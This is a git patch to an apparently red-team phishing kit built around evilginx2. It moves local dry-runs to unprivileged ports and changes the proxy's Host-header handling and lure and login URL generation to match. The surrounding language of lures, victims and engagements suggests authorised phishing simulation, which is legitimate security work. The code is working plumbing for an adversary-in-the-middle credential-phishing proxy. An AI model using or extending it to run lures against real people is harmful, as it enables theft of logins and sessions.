From 4a9f6b6a1a180dd07166e9f1d86d1787eb7adab9 Mon Sep 17 00:00:00 2001 From: Adam Siwiec <73085927+adamsiwiec1@users.noreply.github.com> Date: Sat, 24 Oct 2026 03:43:01 -0400 Subject: [PATCH] Bind evilginx on an unprivileged HTTPS port for local dry-runs Local dry-runs configured evilginx to bind port 443 for the HTTPS lure. macOS blocks binding ports below 1024 without root, so the launcher timed out with "evilginx did not bind HTTPS port 443 in time" even when nothing else held the port. The failure was privileges, not a port conflict. The dry-run now binds unprivileged ports by default: HTTPS on 8443 and DNS on 5354. Neither needs sudo. Set PHISHKIT_HTTPS_PORT=443 (and PHISHKIT_DNS_PORT=53) to restore the privileged ports for production use. configure_lure.py writes https_port and dns_port into config.json, probes the chosen port instead of a hard-coded 443, and prints the lure URL with the port when it is not 443 (https://host:8443/path). The vendored evilginx needed two changes to actually work off 443. Victims reach the lure on host:8443, so the Host header carries the port; the request handler now strips it before phishlet and lure host matching, which expect a bare hostname. Generated login and lure URLs now include the port when it is not 443, so redirects stay on the right port. The Rust engine honors PHISHKIT_HTTPS_PORT when it looks for a running proxy, and its user-facing messages no longer assume 443. Tested a full lure cycle on macOS with no sudo: configure, start in screen, and probe all pass with evilginx bound on 8443. --- crates/phishkit-core/src/evilginx_ctl.rs | 7 +++-- crates/phishkit-core/src/readiness.rs | 2 +- crates/phishkit-core/src/services.rs | 15 ++++++++- docs/reference/data-and-network.md | 11 ++++++- kit/evilginx/scripts/configure_lure.py | 40 +++++++++++++++++++++--- vendor/evilginx2/core/http_proxy.go | 12 +++++++ vendor/evilginx2/core/phishlet.go | 14 +++++++-- 7 files changed, 88 insertions(+), 13 deletions(-) diff --git a/crates/phishkit-core/src/evilginx_ctl.rs b/crates/phishkit-core/src/evilginx_ctl.rs index 4535876..22015a1 100644 --- a/crates/phishkit-core/src/evilginx_ctl.rs +++ b/crates/phishkit-core/src/evilginx_ctl.rs @@ -144,7 +144,7 @@ pub fn start_with_lure( ops.regenerate_path = false; } - // Wait briefly for background screen process / port 443 + // Wait briefly for background screen process / HTTPS listener let mut running = false; for _ in 0..40 { let (up, _) = evilginx_is_running(&root); @@ -158,7 +158,8 @@ pub fn start_with_lure( if !out.status.success() && lure.is_empty() { return Err(AppError::msg(format!( "evilginx start failed:\n{combined}\n\ - Tip: port 443 may need privileges; check Advanced → Tail evilginx log." + Tip: the HTTPS port may be in use or need privileges (local dry-runs \ + default to unprivileged 8443); check Advanced → Tail evilginx log." ))); } @@ -205,7 +206,7 @@ pub fn start_with_lure( let message = if !lure.is_empty() && running { format!("evilginx running in background · lure: {lure}") } else if !lure.is_empty() { - format!("Lure configured ({lure}) but process not detected yet — check log / port 443") + format!("Lure configured ({lure}) but process not detected yet — check log / HTTPS port") } else if running { "evilginx running in background (could not parse lure URL — see log)".into() } else { diff --git a/crates/phishkit-core/src/readiness.rs b/crates/phishkit-core/src/readiness.rs index 2b33dd4..91c281f 100644 --- a/crates/phishkit-core/src/readiness.rs +++ b/crates/phishkit-core/src/readiness.rs @@ -146,7 +146,7 @@ pub fn target_readiness(profile_id: String) -> AppResult { if proxy_running { "evilginx appears to be running" } else { - "No evilginx process detected on port 443" + "No evilginx process detected on the HTTPS port" }, "Start lure for this target", ); diff --git a/crates/phishkit-core/src/services.rs b/crates/phishkit-core/src/services.rs index 3f2dfb8..7eb81a1 100644 --- a/crates/phishkit-core/src/services.rs +++ b/crates/phishkit-core/src/services.rs @@ -94,7 +94,20 @@ pub fn evilginx_is_running(root: &std::path::Path) -> (bool, Option) { if screen_session_up("phishkit-evilginx") { return (true, None); } - let port_pid = port_pids(443).into_iter().chain(port_pids(8443)).next(); + // Default dry-runs bind the unprivileged 8443; production/privileged use 443. + // An operator override via PHISHKIT_HTTPS_PORT is checked first. + let mut candidates: Vec = Vec::new(); + if let Ok(raw) = std::env::var("PHISHKIT_HTTPS_PORT") { + if let Ok(p) = raw.trim().parse::() { + candidates.push(p); + } + } + for p in [8443u16, 443u16] { + if !candidates.contains(&p) { + candidates.push(p); + } + } + let port_pid = candidates.into_iter().flat_map(port_pids).next(); if let Some(pid) = port_pid { return (true, Some(pid)); } diff --git a/docs/reference/data-and-network.md b/docs/reference/data-and-network.md index 74f7bf5..79c40f1 100644 --- a/docs/reference/data-and-network.md +++ b/docs/reference/data-and-network.md @@ -13,6 +13,12 @@ Operator state defaults to **OS application directories** (not the git checkout) Override with `PHISHKIT_CONFIG`, `PHISHKIT_DATA`, and (for scripts) `EVILGINX_DATA_DIR`. Inspect resolved paths with `phishkit paths` or Settings in the desktop app. +The local dry-run proxy binds **unprivileged ports by default** so it never +needs `sudo`: HTTPS on `8443` and DNS on `5354`. The lure URL carries the +port when it isn't 443 (for example `https://portal.acme.phishkit:8443/login`). +Set `PHISHKIT_HTTPS_PORT=443` (and `PHISHKIT_DNS_PORT=53`) to use the +privileged ports, which then require elevated privileges to bind. + ## Local data | Data | Location | Notes | @@ -50,5 +56,8 @@ and only leave the machine if you export them. | `/etc/hosts` add | macOS (admin prompt) | Point the local dry-run domain at the proxy | | `/etc/hosts` remove | macOS (admin prompt) | Paired cleanup at end of engagement | -These modify the operator's own machine only. See +These modify the operator's own machine only. The dry-run proxy itself runs +without elevation because it binds unprivileged ports (`8443`/`5354`) by +default; only the opt-in `PHISHKIT_HTTPS_PORT=443`/`PHISHKIT_DNS_PORT=53` +override needs privileges to bind. See [platform support](/reference/platform-support) for the current matrix. diff --git a/kit/evilginx/scripts/configure_lure.py b/kit/evilginx/scripts/configure_lure.py index c194c46..f51b1f2 100644 --- a/kit/evilginx/scripts/configure_lure.py +++ b/kit/evilginx/scripts/configure_lure.py @@ -45,6 +45,32 @@ def _repo_root() -> Path: EVILGINX_LOG = Path(_LOG_ENV).resolve() if _LOG_ENV else (DATA_DIR / "evilginx.log") SCREEN_NAME = "phishkit-evilginx" + +def _env_port(var: str, default: int) -> int: + raw = (os.environ.get(var) or "").strip() + if raw: + try: + port = int(raw) + except ValueError: + _log(f"ignoring invalid {var}={raw!r}; using {default}") + else: + if 1 <= port <= 65535: + return port + _log(f"ignoring out-of-range {var}={raw!r}; using {default}") + return default + + +# Local dry-run defaults to unprivileged ports so evilginx never needs root/sudo +# to bind. Set PHISHKIT_HTTPS_PORT=443 (and PHISHKIT_DNS_PORT=53) to restore the +# privileged production ports. +HTTPS_PORT = _env_port("PHISHKIT_HTTPS_PORT", 8443) +DNS_PORT = _env_port("PHISHKIT_DNS_PORT", 5354) + + +def _port_suffix() -> str: + """':8443' for a non-standard HTTPS port, '' when bound to 443.""" + return "" if HTTPS_PORT == 443 else f":{HTTPS_PORT}" + class ConfigureError(RuntimeError): pass @@ -173,7 +199,7 @@ def lure_from_config(dryrun_domain: str, phishlet: str) -> str | None: else: sub = _landing_sub(phishlet) host = f"{sub}.{domain}" if sub else domain - return f"https://{host}{path}" + return f"https://{host}{_port_suffix()}{path}" def _normalize_lure_ops(ops: dict | None) -> dict: @@ -250,6 +276,10 @@ def configure_via_config_json( general = cfg.get("general") or {} general["domain"] = dryrun_domain general["external_ipv4"] = "127.0.0.1" + # Bind evilginx on the configured (default unprivileged) ports so a local + # dry-run never needs root to grab 443/53. + general["https_port"] = HTTPS_PORT + general["dns_port"] = DNS_PORT # Empty = 403 on unauthorized requests (Evilginx default is a Rick Roll URL). general["unauth_url"] = "" cfg["general"] = general @@ -348,11 +378,11 @@ def _resolve_lure_path(ops: dict) -> str: first_path = (cfg["lures"][0].get("path") or "").strip() if not first_path.startswith("/"): first_path = f"/{first_path}" if first_path else _pick_lure_path(phishlet) - return lure_from_config(dryrun_domain, phishlet) or f"https://{landing_host}{first_path}" + return lure_from_config(dryrun_domain, phishlet) or f"https://{landing_host}{_port_suffix()}{first_path}" def _https_port_listening() -> bool: probe = subprocess.run( - ["lsof", "-nP", "-iTCP:443", "-sTCP:LISTEN", "-t"], + ["lsof", "-nP", f"-iTCP:{HTTPS_PORT}", "-sTCP:LISTEN", "-t"], capture_output=True, text=True, check=False, @@ -367,7 +397,7 @@ def _wait_https_port(timeout_sec: float = 12.0) -> None: return time.sleep(0.25) raise ConfigureError( - "evilginx did not bind HTTPS port 443 in time — " + f"evilginx did not bind HTTPS port {HTTPS_PORT} in time — " "check evilginx.log (port in use or need elevated privileges)." ) @@ -392,7 +422,7 @@ def start_in_screen() -> None: ) if probe.returncode == 0: _wait_https_port() - _log("evilginx is running in screen (port 443 listening)") + _log(f"evilginx is running in screen (port {HTTPS_PORT} listening)") return time.sleep(0.25) raise ConfigureError("evilginx did not start in screen after configure") diff --git a/vendor/evilginx2/core/http_proxy.go b/vendor/evilginx2/core/http_proxy.go index 05722a0..9f967e5 100644 --- a/vendor/evilginx2/core/http_proxy.go +++ b/vendor/evilginx2/core/http_proxy.go @@ -166,6 +166,18 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da ctx.UserData = ps hiblue := color.New(color.FgHiBlue) + // Phishkit: for privilege-free local dry-runs the proxy binds a + // non-standard HTTPS port (e.g. 8443), so the victim's Host header + // carries ":port". Strip it so phishlet / lure host matching, which + // expects a bare hostname, still works. Upstream dialing uses its own + // port regardless of the inbound one. + if host, _, splitErr := net.SplitHostPort(req.Host); splitErr == nil && host != "" { + req.Host = host + if req.URL != nil { + req.URL.Host = host + } + } + // handle ip blacklist from_ip := strings.SplitN(req.RemoteAddr, ":", 2)[0] diff --git a/vendor/evilginx2/core/phishlet.go b/vendor/evilginx2/core/phishlet.go index 1249075..68c9b2f 100644 --- a/vendor/evilginx2/core/phishlet.go +++ b/vendor/evilginx2/core/phishlet.go @@ -776,6 +776,16 @@ func (p *Phishlet) GetPhishHosts(use_wildcards bool) []string { return ret } +// phishkitPortSuffix returns ":" when evilginx runs on a non-standard +// HTTPS port (e.g. 8443 for privilege-free local dry-runs), else "". +func (p *Phishlet) phishkitPortSuffix() string { + port := p.cfg.GetHttpsPort() + if port != 0 && port != 443 { + return fmt.Sprintf(":%d", port) + } + return "" +} + func (p *Phishlet) GetLureUrl(path string) (string, error) { var ret string host := p.cfg.GetBaseDomain() @@ -787,12 +797,12 @@ func (p *Phishlet) GetLureUrl(path string) (string, error) { } } } - ret = "https://" + host + path + ret = "https://" + host + p.phishkitPortSuffix() + path return ret, nil } func (p *Phishlet) GetLoginUrl() string { - return "https://" + p.login.domain + p.login.path + return "https://" + p.login.domain + p.phishkitPortSuffix() + p.login.path } func (p *Phishlet) GetLandingPhishHost() string {